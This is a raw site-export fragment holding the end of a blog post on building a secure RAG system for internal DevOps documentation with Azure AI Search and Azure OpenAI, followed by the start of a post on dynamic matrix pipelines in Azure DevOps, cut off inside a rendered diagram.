style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='244' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='228' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='244' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='228' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='244' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='228' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='244' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='228' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='244' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='244' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='244' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='244' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eBy filtering at the retrieval layer, the LLM never receives context blocks that the user isn\u0026rsquo;t permitted to see. Security is enforced at the data source, not the model prompt.\u003c/p\u003e\n\u003ch2 id=\"4-ingestion-pipeline-and-deletion-detection\"\u003e4. Ingestion Pipeline and Deletion Detection\u003c/h2\u003e\n\u003cp\u003eFor DevOps content, \u003cstrong\u003eMarkdown-aware chunking\u003c/strong\u003e is superior to arbitrary character counts. Runbooks are structured by headings. Splitting on \u003ccode\u003e##\u003c/code\u003e ensures that a \u0026ldquo;Node Drain Procedure\u0026rdquo; stays as a single, coherent context block.\u003c/p\u003e\n\u003ch3 id=\"deletion-policy-no-ghost-runbooks\"\u003eDeletion Policy: No Ghost Runbooks\u003c/h3\u003e\n\u003cp\u003eA RAG system that retains deleted runbooks is dangerous. If an incident playbook is archived because it contains a flaw, the AI must stop suggesting it immediately—not at the next scheduled sync, immediately. Use the \u003cstrong\u003eNative Blob Soft Delete\u003c/strong\u003e pattern. When a file is removed from Blob Storage, the AI Search indexer detects the soft-deleted state and automatically purges the corresponding chunks from the index during the next run.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// AI Search Indexer Deletion Policy\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;dataDeletionDetectionPolicy\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e:\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;@odata.type\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;#Microsoft.Azure.Search.NativeBlobSoftDeleteDeletionDetectionPolicy\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"5-query-pipeline-and-hybrid-search\"\u003e5. Query Pipeline and Hybrid Search\u003c/h2\u003e\n\u003cp\u003eTechnical documentation relies on exact terms: service names, error codes, and CLI flags. Pure vector search (semantic similarity) can miss these exact matches.\u003c/p\u003e\n\u003ch3 id=\"why-hybrid-search--rrf\"\u003eWhy Hybrid search + RRF?\u003c/h3\u003e\n\u003cp\u003eUse \u003cstrong\u003eHybrid Search\u003c/strong\u003e, which executes BM25 (keyword) and Vector search in parallel. Azure AI Search uses \u003cstrong\u003eReciprocal Rank Fusion (RRF)\u003c/strong\u003e to merge these results. If a document matches an exact error code like \u003ccode\u003e0x80040154\u003c/code\u003e via keyword search, it is promoted to the top, even if the semantic similarity is lower.\u003c/p\u003e\n\u003cp\u003eIn 2026, we also enable the \u003cstrong\u003eSemantic Ranker\u003c/strong\u003e as a second-pass (L2) re-ranker. This deep-learning model from Bing validates the top 50 results to ensure the most relevant procedure is actually the first context block the LLM reads.\u003c/p\u003e\n\u003ch2 id=\"6-response-generation-and-citations\"\u003e6. Response Generation and Citations\u003c/h2\u003e\n\u003cp\u003eThe final step is instructing the LLM to act as a grounded DevOps assistant. Your system prompt must constrain the model to answer only from the provided context and, crucially, to \u003cstrong\u003ecite its sources\u003c/strong\u003e.\u003c/p\u003e\n\u003ch3 id=\"system-prompt-constraint\"\u003eSystem Prompt Constraint\u003c/h3\u003e\n\u003cp\u003e\u0026ldquo;You are a Platform Engineering assistant. Answer queries using only the provided runbooks. If the answer is not in the context, state that you do not know. Every answer must include a citation in the format [Source Name - Section].\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eBy including source URLs and last-modified dates in your index metadata, you can pass these to the LLM. This lets an engineer click directly into the original Confluence page if they need to see the full architecture diagram or verify the original author.\u003c/p\u003e\n\u003ch2 id=\"hands-on-example-the-platform-devops-brain\"\u003eHands-On Example: The platform \u0026ldquo;DevOps Brain\u0026rdquo;\u003c/h2\u003e\n\u003cp\u003eTo deploy a secure RAG stack for your team:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eProvision AI Search\u003c/strong\u003e with \u003ccode\u003epublicNetworkAccess: 'Disabled'\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAssign Managed Identity\u003c/strong\u003e roles: grant your Function App \u003ccode\u003eSearch Index Data Contributor\u003c/code\u003e and \u003ccode\u003eStorage Blob Data Reader\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMap Permissions:\u003c/strong\u003e Create a lookup table (e.g., GitHub Team -\u0026gt; Entra Group ID) to populate the \u003ccode\u003eallowedGroups\u003c/code\u003e field.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConnect Sources:\u003c/strong\u003e Use the GitHub API or Microsoft Graph to sync runbooks to Blob Storage.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eEnable Streaming:\u003c/strong\u003e Use \u003ccode\u003estream=True\u003c/code\u003e in your Azure OpenAI chat completion call. Sub-second \u0026ldquo;time-to-first-token\u0026rdquo; is critical when an engineer is under pressure during a SEV1 incident.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eSecurity at the Source:\u003c/strong\u003e Use OData filters in AI Search to enforce document-level access. Never rely on the LLM to \u0026ldquo;ignore\u0026rdquo; unauthorized context.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHybrid is the Standard:\u003c/strong\u003e Combine BM25 keyword search with Vector search for technical documentation. Exact matches for procedure names matter.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eOutbound Security:\u003c/strong\u003e Use Shared Private Links to keep your ingestion pipeline (AI Search to OpenAI) on the private backbone.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAutomate Deletion:\u003c/strong\u003e Implement a deletion detection policy to ensure archived or dangerous runbooks are purged from the AI\u0026rsquo;s memory.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/securing-the-prompt-ai-guardrails-azure-api-management/\"\u003eSecuring the Prompt: Implementing AI Guardrails with Azure API Management\u003c/a\u003e to place an AI Gateway (APIM) in front of your RAG query endpoint for PII scrubbing and centralized audit logging.\u003c/li\u003e\n\u003cli\u003eReturn to \u003ca href=\"/posts/the-ultimate-guide-to-secure-ai-devops-on-azure/\"\u003eThe Ultimate Guide to Secure AI DevOps on Azure: A Privacy-First Blueprint\u003c/a\u003e to see how secure RAG fits into the overall AI DevOps Blueprint.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/search/search-security-trimming-for-azure-search\"\u003eMicrosoft Learn: Security filters for Azure AI Search\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/search/hybrid-search-ranking\"\u003eMicrosoft Learn: Hybrid Search and RRF ranking\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/search/search-indexer-howto-access-private\"\u003eMicrosoft Learn: Shared Private Link Resources for indexers\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://openai.com/index/new-embedding-models-and-api-updates/\"\u003eOpenAI: Embedding model comparison (3-small vs ada-002)\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n**Prompt 1 — 3D Abstract / Isometric**\nWide landscape format, 16:9 aspect ratio. An isometric 3D illustration of a private cloud network architecture. Several glowing geometric nodes — representing document vaults and AI search indexes — are connected by luminous fiber-optic tubes encased inside a translucent dark blue enclosure, symbolizing a private virtual network perimeter. One tube glows amber to indicate a secured, approved connection pathway between two nodes. The surrounding environment is dark with subtle grid lines. No text, no labels, no UI elements. Clean Blender-style rendering with soft ambient occlusion and cool blue accent lighting.\n\n**Prompt 2 — Cyber-Industrial / Data Flow**\nWide landscape format, 16:9 aspect ratio. A high-contrast dark environment filled with glowing data streams flowing through a series of geometric lock mechanisms and filter layers. Stacks of abstract document pages dissolve into cascading vector particles on the left, pass through a luminous gate structure in the center that acts as an identity checkpoint, and emerge as a focused beam of light on the right. Deep navy and black background with electric blue and cyan data streams. A faint hexagonal security shield pattern overlays the midground. No text, letters, or UI.\n\n**Prompt 3 — Claymorphism / Soft 3D**\nWide landscape format, 16:9 aspect ratio. Soft matte clay-style 3D render of a miniature knowledge library system. Rounded, pastel-colored document blocks are organized into labeled shelves inside a compact vault room. A small robotic arm with a glowing ring around its tip selects a specific document while a key-shaped object hovers nearby symbolizing access control. The vault walls have a subtle lock pattern embossed into the clay surface. Warm diffuse studio lighting, soft shadows, no sharp edges. No text, no labels, muted blue-gray and warm white palette.\n\n**Prompt 4 — Photorealistic / Cinematic**\nWide landscape format, 16:9 aspect ratio. A cinematic close-up of a dark server room corridor bathed in cool blue ambient light. In the foreground, translucent holographic layers float in the air — stacked sheets of glowing data representing retrieved document chunks — with visible but illegible fine-print content that dissolves at the edges into particle streams. A faint circular shield overlay appears in the midground, suggesting a security boundary. The background shows blurred server racks with tiny LED indicator lights. Shallow depth of field, dramatic blue and teal lighting, no faces, no readable text or UI elements.\n--\u003e\n","description":"Build a private DevOps knowledge base using Azure AI Search and Azure OpenAI with Private Link, Managed Identity, and document-level security trimming.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/building-a-secure-rag-system-for-internal-devops-documentation/","title":"Building a Secure RAG System for Internal DevOps Documentation"},{"content":"\u003cp\u003eYou need to test your application against 4 different browsers, 3 different operating systems, and 2 different database versions. That’s 24 unique job configurations. You could manually write 24 jobs—but what happens when you add a 5th browser? You are back to editing YAML for hours. There is a better way: The Dynamic Matrix.\u003c/p\u003e\n\u003cp\u003eThe standard Azure DevOps \u003ccode\u003estrategy: matrix\u003c/code\u003e is a powerful tool for runtime parallelism, but it is typically static. You define the combinations in the YAML, and the engine runs them. However, in an enterprise environment, your test requirements often come from an external data source or a complex parameter object. The \u0026ldquo;Dynamic Matrix\u0026rdquo; pattern combines the compile-time expansion of \u003ccode\u003e${{ each }}\u003c/code\u003e with the runtime parallelism of \u003ccode\u003ematrix\u003c/code\u003e, allowing you to generate hundreds of test jobs from a single, simple parameter list. This guide teaches you how to build a self-scaling test engine that \u0026ldquo;pivots\u0026rdquo; your data into a parallel execution plan.\u003c/p\u003e\n\u003ch2 id=\"1-the-static-matrix-vs-the-dynamic-matrix\"\u003e1. The Static Matrix vs. the Dynamic Matrix\u003c/h2\u003e\n\u003cp\u003eTo appreciate the dynamic approach, we must first look at the limitation of the standard model.\u003c/p\u003e\n\u003ch3 id=\"11-why-static-is-not-enough\"\u003e1.1: Why Static is Not Enough\u003c/h3\u003e\n\u003cp\u003eA static matrix requires you to hardcode every configuration key and value. This leads to \u0026ldquo;YAML Bloat\u0026rdquo; and is incredibly difficult to maintain when combinations change frequently. Furthermore, there is no way to conditionally add a matrix dimension—like a \u0026ldquo;Legacy Browser\u0026rdquo; suite—based on a pull request\u0026rsquo;s metadata without duplicating the entire job definition.\u003c/p\u003e\n\u003ch3 id=\"12-the-core-concept--each---matrix\"\u003e1.2: The Core Concept: \u003ccode\u003e${{ each }}\u003c/code\u003e + \u003ccode\u003ematrix\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eThe \u0026ldquo;Dynamic Matrix\u0026rdquo; works because of the pipeline evaluation order. The \u003ccode\u003e${{ each }}\u003c/code\u003e loop expands at compile-time, creating the \u003ccode\u003ematrix\u003c/code\u003e object that the runtime engine then uses to spawn parallel agents. By looping over a parameter to generate the matrix keys, you gain the ability to scale your test suite by simply updating a JSON or YAML list, rather than modifying the pipeline\u0026rsquo;s logic.\u003c/p\u003e\n\u003ch2 id=\"2-implementing-the-matrix-pivot-pattern\"\u003e2. Implementing the \u0026ldquo;Matrix Pivot\u0026rdquo; Pattern\u003c/h2\u003e\n\u003cp\u003eThe \u0026ldquo;Matrix Pivot\u0026rdquo; is the architectural move of turning a list of items into the top-level keys of a \u003ccode\u003estrategy: matrix\u003c/code\u003e block.\u003c/p\u003e\n\u003ch3 id=\"the-matrix-pivot-parameter---runtime-jobs\"\u003eThe Matrix Pivot (Parameter -\u0026gt; Runtime Jobs)\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 736 201\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,64 L 328,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,112 L 576,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,176 L 328,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,64 L 80,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,16 L 336,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,112 L 336,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,16 L 584,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,168 L 584,184' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='96.000000,176.000000 84.000000,170.399994 84.000000,181.600006' fill='currentColor' transform='rotate(180.000000, 88.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,64.000000 324.000000,58.400002 324.000000,69.599998' fill='currentColor' transform='rotate(0.000000, 328.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='584.000000,112.000000 572.000000,106.400002 572.000000,117.599998' fill='currentColor' transform='rotate(0.000000, 576.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='148' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='164' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='132' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='148' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='164' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='164' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='132' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='148' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='164' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='132' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='148' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='164' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='148' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='164' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' 